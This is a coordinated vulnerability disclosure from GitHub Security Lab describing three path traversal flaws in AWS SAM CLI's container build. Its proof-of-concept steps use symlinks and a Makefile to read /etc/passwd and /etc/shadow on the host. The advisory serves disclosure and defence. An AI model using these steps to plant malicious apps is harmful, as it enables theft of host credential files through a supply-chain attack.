Coordinated Disclosure Timeline

Summary

AWS SAM CLI does not prevent path traversal when building in a container with sam build -u, enabling the build script to access files outside of the build directory. Since sam build -u uses docker, it needs to be run with elevated privileges, so this potentially enables the build script to read any file on the host system.

GHSL-2025-030 is the main vulnerability. GHSL-2025-031 and GHSL-2025-032 are variants which are unlikely to be exploitable, but which I have included for defense-in-depth purposes.

Project

AWS SAM CLI

Tested Version

v1.132.0

Tested on Ubuntu 24.04.1 LTS

Details

sam build -u scans the source code directory for symlinks and mounts them into the container:

        with os.scandir(self._host_dir) as directory_iterator:
            for file in directory_iterator:
                if not file.is_symlink():
                    continue

                host_resolved_path = os.path.realpath(file.path)
                container_full_path = pathlib.Path(self._working_dir, file.name).as_posix()

                additional_volumes[host_resolved_path] = {
                    "bind": container_full_path,
                    "mode": mount_mode,
                }

                LOG.info(
                    "Mounting resolved symlink (%s -> %s) as %s:%s, inside runtime container"
                    % (file.path, host_resolved_path, container_full_path, mount_mode)
                )

There is no check to prevent path traversal outside of the source code directory.

Reproduction steps

Use these instructions to install aws-sam-cli.

Create a simple app:

sam init

Choose the default choice (“N”) whenever possible. For the other questions, choose these options:

Now run these commands:

cd sam-app
mkdir exploit
cd exploit
ln -s ../../../../../../../../../../../etc/passwd passwd
ln -s ../../../../../../../../../../../etc/shadow shadow

In the exploit sub-directory create a file named Makefile with the following contents (using tab characters for the indentation):

build-Exploit:
        cat passwd
        cat shadow

Edit template.yaml and add this text to the “Resources” section:

  Exploit:
    Type: AWS::Serverless::Function
    Properties:
      CodeUri: exploit/
      Handler: app.lambda_handler
      Runtime: python3.12
      Architectures:
        - x86_64
    Metadata:
      BuildMethod: makefile

Build using a container:

sudo sam build -u

Observe that the contents of your /etc/passwd and /etc/shadow are printed to the console. An attacker could instead exfiltrate the data by uploading it to a server that they control.

Impact

This vulnerability could be used as part of a supply chain attack to exfiltrate sensitive files from the victim’s system. To exploit the vulnerability, an attacker would need to trick the victim into running sudo sam build -u on a malicious app.

CWEs

When sam build -u finishes, it copies the contents of the artifacts directory from the container back to the host. It does not follow symlinks while doing this. But it also makes a copy of the results in the .aws-sam/cache sub-directory, and follows symlinks while doing so. Therefore, if the build script places a symlink in the artifacts directory, then a path traversal will happen on the host system. The symlink traversal happens during the call to osutils.copytree at build_strategy.py, line 369:

            for _, value in build_result.items():
                osutils.copytree(value, str(cache_function_dir))
                break

Reproduction steps

Follow the same instructions as Issue 1 to create a basic “Hello World” app. Then run these commands:

cd sam-app
mkdir exploit

In the exploit sub-directory create a file named Makefile with the following contents (using a tab character for the indentation):

build-Exploit:
        ln -s ../../../../../../../../../etc/passwd ${ARTIFACTS_DIR}/passwd

Edit template.yaml and add this text to the “Resources” section:

  Exploit:
    Type: AWS::Serverless::Function
    Properties:
      CodeUri: exploit/
      Handler: app.lambda_handler
      Runtime: python3.12
      Architectures:
        - x86_64
    Metadata:
      BuildMethod: makefile

Build using a container:

sudo sam build -u

Observe that two files named passwd have been created:

.aws-sam/build/Exploit1/passwd
.aws-sam/cache/<<uuid>>/passwd

The first is a symlink, but the second is a copy of your /etc/passwd file.

Impact

This issue is unlikely to be exploitable, because copying sensitive files to the .aws-sam/cache directory is probably harmless. But due to its similarity to issue 1, I have included it for defense-in-depth purposes.

CWEs

Issue 3: Path traversal with relative path in template.yaml (GHSL-2025-032)

sam build -u creates a container and mounts the build directory into it:

            _volumes = {
                self._host_dir: {
                    # Mount the host directory inside container at working_dir
                    # https://docs.docker.com/storage/bind-mounts
                    "bind": self._working_dir,
                    "mode": mount_mode,
                },
                **self._create_mapped_symlink_files(),
            }

There is no check to prevent path traversal outside of the source code directory.

Reproduction steps

Follow the same instructions as Issue 1 to create a basic “Hello World” app. Then edit template.yaml and add this text to the “Resources” section:

  Exploit:
    Type: AWS::Serverless::Function
    Properties:
      CodeUri: ../../../../../../../../../../../etc
      Handler: app.lambda_handler
      Runtime: python3.12
      Architectures:
        - x86_64

Build using a container:

sudo sam build -u

Observe the following log message, which shows that a path traversal has occurred:

Mounting /etc as /tmp/samcli/source:ro,delegated, inside runtime container

Impact

This issue is a very similar to issue 1, but much less likely to be exploitable, unless there’s a way to run arbitrary code in the container. The Makefile technique, which I used to run arbitrary code in the issues 1 and 2, does not work here, because the Makefile needs to be placed in the “CodeUri” directory. Therefore, I have only included this issue for defense-in-depth purposes.

CWEs

CVE

Credit

These issues were discovered and reported by GHSL team member @kevinbackhouse (Kevin Backhouse).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2025-030, GHSL-2025-031, or GHSL-2025-032 in any communication regarding these issues.